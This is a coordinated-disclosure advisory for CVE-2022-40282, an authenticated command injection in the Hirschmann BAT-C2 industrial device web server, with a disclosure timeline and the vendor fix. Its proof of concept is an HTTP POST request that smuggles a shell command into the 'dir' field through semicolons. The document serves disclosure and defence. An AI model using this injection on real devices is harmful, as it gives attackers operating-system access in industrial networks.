Hirschmann (Belden) BAT-C2 Command Injection

Credit: T. Weber
Risk: Medium
Local: No
Remote: Yes

CyberDanube Security Research 20221124-0 ------------------------------------------------------------------------------- title| Authenticated Command Injection product| Hirschmann (Belden) BAT-C2 vulnerable version| fixed version| CVE number| CVE-2022-40282 impact| High homepage| https://hirschmann.com/ | https://beldensolutions.com found| 2022-08-01 by| T. Weber (Office Vienna) | CyberDanube Security Research | Vienna | St. Pölten | | https://www.cyberdanube.com ------------------------------------------------------------------------------- Vendor description ------------------------------------------------------------------------------- "The Technology and Market Leader in Industrial Networking. Hirschmann™ develops innovative solutions, which are geared towards its customers’ requirements in terms of performance, efficiency and investment reliability." Source: https://beldensolutions.com/en/Company/About_Us/belden_brands/index.phtml Vulnerable versions ------------------------------------------------------------------------------- Hirschmann BAT-C2 / Vulnerability overview ------------------------------------------------------------------------------- 1) Authenticated Command Injection The web server of the device is prone to an authenticated command injection. It allows an attacker to gain full access to the underlying operating system of the device with all implications. If such a device is acting as key device in an industrial network, or controls various critical equipment via serial ports, more extensive damage in the corresponding network can be done by an attacker. Proof of Concept ------------------------------------------------------------------------------- 1) Authenticated Command Injection The command "ping" was injected to the system by using the following POST request: =============================================================================== POST / HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 75 Origin: Authorization: Digest username="admin", realm="config", nonce="4b63bb796252d310", uri="/", algorithm=MD5, response="dbcf03216bd8fbaa15f4b9d9d0fc1d43", qop=auth, nc=0000000a, cnonce="99c14d39557e691d" Referer: Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close ajax=FsCreateDir&dir='%3Bping%20192.168.1.1%3B'&iehack=&submit=Create&cwd=/ =============================================================================== The vulnerability was manually verified on an emulated device by using the MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com). Solution ------------------------------------------------------------------------------- Upgrade to firmware version or above. A security bulletin for this vulnerability has been published by the vendor: https://www.belden.com/dfsmedia/f1e38517e0cd4caa8b1acb6619890f5e/15088-source/ Workaround ------------------------------------------------------------------------------- None Recommendation ------------------------------------------------------------------------------- CyberDanube recommends customers from Hirschmann to upgrade the firmware to the latest version available. Furthermore, a full security review by professionals is recommended. Contact Timeline ------------------------------------------------------------------------------- 2022-08-03: Contacting Hirschmann via BEL-SM-PSIRT@belden.com; Belden contact suspects a duplicate. Asked contact for more information. 2022-08-18: Belden representative sent more information for clarification. Highlighted differences between PoCs. 2022-08-22: Belden contact confirmed the vulnerability to be no duplicate. 2022-08-30: Asked for an update. 2022-08-31: Vendor stated, that he will release another security bulletin for this vulnerability. 2022-09-27: Asked for an update. 2022-09-28: Vendor is currently testing the new firmware version and has also been assigned with an CVE number. Draft of security bulletin was also sent by the security contact. 2022-10-12: Asked for an update. 2022-10-13: Belden contact stated, that there is no publication date for now as another patch must be integrated. 2022-10-28: Security contact informed us, that the patch will be released within the next two weeks. 2022-11-22: Asked for a status update; Security contact stated, that the release was delayed due internal reasons. 2022-11-23: Vendor sent the final version of the security bulletins. The release of the new firmware version will be 2022-11-28. 2022-11-24: Vendor informed CyberDanube that the release of the bulletin and the firmware was done on 2022-11-23 by the marketing team. Coordinated release of security advisory. Web: https://www.cyberdanube.com Twitter: https://twitter.com/cyberdanube Mail: research at cyberdanube dot com EOF T. Weber / @2022

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